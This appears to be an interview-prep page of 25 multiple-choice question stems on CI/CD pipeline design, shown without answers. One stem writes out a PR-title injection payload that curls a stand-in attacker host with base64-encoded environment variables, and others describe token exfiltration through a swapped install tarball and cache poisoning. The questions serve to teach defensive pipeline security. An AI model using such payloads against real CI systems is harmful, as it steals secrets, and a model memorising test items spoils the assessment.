Skip to content
Tech Interview Prep
Technical interview guide

CI/CD Pipeline Design

Continuous integration and continuous delivery: automating the path from commit to a shippable build.

Read
30 min
Practice MCQs
25
Interview Q&A
25
Edition
v4
Editorial status
Reviewed

Scope: GitHub Actions, GitLab CI/CD, NIST SSDF, SLSA v1.2, Sigstore, OCI, Kubernetes, Argo CD, and DORA guidance current 2026-08-31.

Curated: · Written: · Reviewed:

25 questions

MCQ-2A payments service is built once per environment. The build job runs `docker build -t payments:2.7.0 .`, pushes the image, and staging deploys `payments:2.7.0` and passes a 6-hour soak. The production job re-runs the same build from the same commit, pushes `payments:2.7.0` again, and deploys it. Two weeks later production hits a TLS handshake bug caused by a `libssl` version staging never ran. Which change to the pipeline removes the cause of that divergence?
MCQ-19A release pipeline deploys `api:2.14.0` to a 12-replica Deployment. Its post-deploy verification passes three checks: `kubectl rollout status` reports 12/12 ready, the CI job's final status is green, and the registry confirms the push of tag `2.14.0`. Ten minutes later, `kubectl get pods -o jsonpath` shows every pod running image digest `sha256:7d1e…`, while the build job's log records `sha256:3b90…` for the artifact it produced. Error rate and p99 latency match the previous version. What does this evidence establish?
MCQ-3A platform team deploys 30 services to 3 clusters from one registry. Manifests reference `image: registry.internal/svc:stable`, and CI moves that tag on every merge to main; the registry lets any tag be overwritten. Release records store the tag and the commit SHA. Two builds of the same commit have produced different image digests. Last quarter, 4 of 22 rollbacks started pods whose image did not match the release record for that tag, and one of those ran an unreviewed change in production. Which single change removes that class of failure?
MCQ-4`acme/api` protects `main` with required review, and its release workflow signs every image it builds using the workflow's OIDC identity. An admission controller runs `cosign verify` and admits an image only when the signature covers the image digest and the signer is that workflow identity. At 09:14 it admits `acme/api:2.14.0` (digest `sha256:9f2c…`). At 11:40 a scanner reports CVE-2021-44228 in a transitive dependency inside that image. What did the 09:14 verification establish about the admitted image?
MCQ-8A workflow step is pinned as `uses: acme/setup-tool@8f3c1a9d2e4b7f0c1a2b3c4d5e6f708192a3b4c5` (a full commit SHA). The action at that commit runs a shell script whose first line is `curl -fsSL https://acme.example/tool-latest.tar.gz | tar -xz -C /tmp && /tmp/tool/install.sh`. On 2024-04-02 the tarball at that URL was replaced with one whose `install.sh` reads `GITHUB_TOKEN` from the environment and POSTs it to an external host. The pinned SHA was not changed. Which statement explains why the pin did not prevent the token exfiltration?
MCQ-25Pipeline `ci` runs on every push: 1,240 unit tests against a fixture database seeded with 3 orders and 7 order_items, ESLint, `tsc --noEmit`, and a Docker image build. It is green on commit `9f3c1ab`, which rewrites the order-history query to join `orders` to `order_items` with no index on `order_items.order_id`. The release workflow deploys that image to production, where `orders` holds 4.1M rows and `order_items` 22M. The endpoint's p99 goes from 90 ms to 11 s and the database saturates. Which statement about the green run on `9f3c1ab` is correct?
MCQ-11A CI pipeline runs three stages in this order: end-to-end suite (25 min), integration tests (12 min), unit tests (3 min). Over 100 pushes, 20 fail: 17 first fail in the unit tests, 2 first fail in the integration tests, and 1 first fails only in the end-to-end suite. The team reorders the stages to unit → integration → end-to-end and changes nothing else. What happens to the mean time from push to first failure signal for a failing push?
MCQ-12`ci.yml` runs on every `pull_request` and defines one job, `api-tests`, which branch protection requires. Its first step is `dorny/paths-filter@v3` with `filters: api: ['services/api/**']`; the `go test ./services/api/...` step carries `if: steps.filter.outputs.api == 'true'`. The generated API client is built in CI from `shared/proto/*.proto` and is not committed. PR #4821 changes `shared/proto/user.proto` and `services/web/app.ts`. What does branch protection record for `api-tests` on #4821?
MCQ-23`checkout_flow_test` is a required CI job. It fails about 1 run in 12 with `TimeoutError: consumer never reached assigned state`, and passes on rerun. The test's consumer and the production checkout consumer share the same client config and the same rebalance path; production rebalances only on deploys and scale events, and 0.3% of checkout requests hit the 30 s gateway timeout with the same log line. The team merges ~25 PRs a day and each rerun costs 14 minutes of CI. What should they do?
MCQ-1A team merges about 30 pull requests a day into its service's main branch. Each merge triggers a pipeline that builds one artifact, runs unit and integration tests, pushes the artifact to a registry under an immutable digest, deploys it to staging and runs smoke tests; every merge ends green. Promoting that digest to production requires a release manager to click approve in the deploy tool, and the median wait between a green pipeline and that click is three days. The team's dashboard reports deployment frequency as 30 per day, counting each green pipeline run. Which statement about this pipeline is correct?
MCQ-24A 40-engineer platform group owns the CI/CD pipeline and writes the metric definitions shown on the exec dashboard. Incident timestamps and severity come from the SRE team's paging system, and artifact digests come from the registry. Which metric can the group raise by changing only how it counts, with no change to what ships and no fact recorded outside the group?
MCQ-5On a GitHub Actions `pull_request` workflow, a step runs: ```yaml - run: echo "Building ${{ github.event.pull_request.title }}" ``` A contributor opens a PR titled `"; curl -s http://attacker.example/$(printenv | base64 -w0) ;#`. GitHub renders the step as `echo "Building "; curl -s http://attacker.example/$(printenv | base64 -w0) ;#"`, and the curl runs on the runner. Which change to the step actually prevents this?
MCQ-6`acme/web` runs a `pull_request` workflow that posts a coverage comment with `gh pr comment`. The workflow declares `permissions: pull-requests: write`. Over the last 30 days it ran 412 times: 380 runs posted the comment, and 32 failed with `HTTP 403: Resource not accessible by integration`. Every one of the 32 failures was a PR opened from a fork; every same-repo branch PR succeeded. Which explanation fits?
MCQ-7A team replaces a stored IAM access key with GitHub Actions OIDC federation to deploy to AWS. The role's trust policy has `Condition: {StringEquals: {"token.actions.githubusercontent.com:sub": "repo:acme/deploy:ref:refs/heads/main"}}`, and the workflow declares `permissions: id-token: write`. Deploys from `main` succeed. A deploy from branch `release` fails at `aws-actions/configure-aws-credentials` with `AccessDenied: Not authorized to perform sts:AssumeRoleWithWebIdentity`. What explains the failure?
MCQ-9A repo runs CI on one non-ephemeral self-hosted runner. `pr-check` runs on `pull_request` from forks with `permissions: contents: read`; `release` runs on `push` to `main` with `permissions: contents: write`. The deploy key `release` uses is exported in the runner host's service environment, not stored as a GitHub secret. Both jobs run as the same OS user. A fork PR adds a step that runs `printenv`. What does that step print?
MCQ-10A self-hosted CI service keeps one cache backend for every build. Entries are opaque tarballs with no signature or content check, are not scoped by branch or writer, and `restore-keys` resolves to the most recently written entry with a matching prefix. Keys are `deps-<sha256(package-lock.json)>` with `restore-keys: deps-`; fork PR builds and release builds use the same cache credentials. A contributor's PR adds one dependency, so its lockfile hashes to `deps-9f2c…`. The release branch's lockfile was just bumped and hashes to `deps-41ab…`, a key no build has written. The release job restores the cache, runs `npm run build` (which executes `node_modules/.bin/tsc` from the restored tree), then `npm publish` with a registry token. What happens on the next release build?
MCQ-13A team deploys every merge to one shared staging cluster. Each pipeline runs build (2 min), then a schema migration (1 min), then a rollout (3 min). The only concurrency control is a lock taken for the rollout step alone and held until that rollout finishes; a pipeline that finds the lock held waits for it. Merge A lands at t=0 and merge B at t=1. Which description of staging's state over time is correct?
MCQ-14A CD controller cancels the previous deployment whenever a new commit lands on main. Each deployment runs: build → push image → rolling update of the API Deployment → `migrate` against the shared Postgres → smoke tests. The controller keeps the previous ReplicaSet at 1 replica until smoke tests pass, so a rollback is always possible. The `migrate` step drops a column the previous version reads. Which cancellation is unsafe?
MCQ-16A 6-replica Deployment uses strategy maxUnavailable: 0, maxSurge: 1. The new version's readiness probe is GET /healthz on port 8080, but the app serves /healthz on 8081; its liveness probe correctly targets 8081. Ten minutes after the rollout starts, `kubectl rollout status` is still hanging. What is the state of the rollout?
MCQ-15A checkout service canaries v2 at 5% of traffic. The guardrail promotes when the canary pods report Ready and the canary's inbound 5xx rate stays below 1% for 10 minutes; v2 passes both (Ready, 5xx at 0.2%). After promotion to 100%, fleet p99 rises from 220 ms to 1.4 s and the payment provider starts returning 429s. v2 makes three payment-provider calls per checkout; v1 made one. Which signal, added to the guardrail, would have stopped the promotion?
MCQ-17A team runs 40 instances of an API behind a load balancer. A rolling deploy replaces them over about 12 minutes, and the migration job runs to completion before the first new instance starts. The running code reads and writes `users.email`; they need it to read and write `users.email_address` on Postgres 16 with no downtime. They ship one migration, `ALTER TABLE users RENAME COLUMN email TO email_address;`, and deploy code that reads and writes `email_address`. What happens during the rollout?
MCQ-18A media service deploys v42 at 14:00. The release includes a migration that deletes 2.4 million rows from `thumbnails` for assets not viewed in 90 days and drops the `last_viewed_at` column, because v42 tracks views in a separate analytics store. At 15:10 a memory leak forces a rollback to the v41 image, whose thumbnail read path selects `last_viewed_at` on every request. What happens when v41 takes traffic?
MCQ-20Payments service ledger stores each entry's payload as JSON text in payload_json. Release v42 converts rows lazily: processing a row writes the packed form into a new payload_bin column and sets payload_json to NULL. v42 reads payload_bin when present, otherwise payload_json; v41 reads payload_json only and its decoder errors on NULL. Twelve minutes into the rollout, 300k of 1M rows are converted and the v42 consumer is down with a nil-pointer panic in its retry path: the connection pooler closes idle connections after 60s, and the retry reuses the closed prepared statement. The newest snapshot is from 02:00; it is now 14:00, and entries written since 02:00 are already settled by a clearing service that has no idempotency key, so they cannot be dropped or replayed. Which recovery is safest?
MCQ-21An Argo CD Application tracks a Git repo whose manifests declare a Deployment `api` with `replicas: 3` and a ConfigMap `api-config`. The Application sets `syncPolicy.automated` with `selfHeal: true` and `prune: false`. During an incident an on-call engineer runs `kubectl scale deploy/api --replicas=10` and `kubectl delete configmap api-config`. No commit is made to the repo. What does the Application controller do on its next reconciliation?
MCQ-22An Argo CD Application has automated sync with prune enabled and tracks path manifests/ at branch main, which held nine workload manifests. A merged PR moved those nine files into archive/ and left manifests/ declaring only a Namespace and one ConfigMap. The Application still reports Synced and Healthy, yet all nine workloads are gone from the cluster. No kubectl delete was run, the Application object itself was never deleted, none of the nine objects had an ownerReference, and the six objects in that namespace that no Application declares are untouched. What deleted the nine workloads?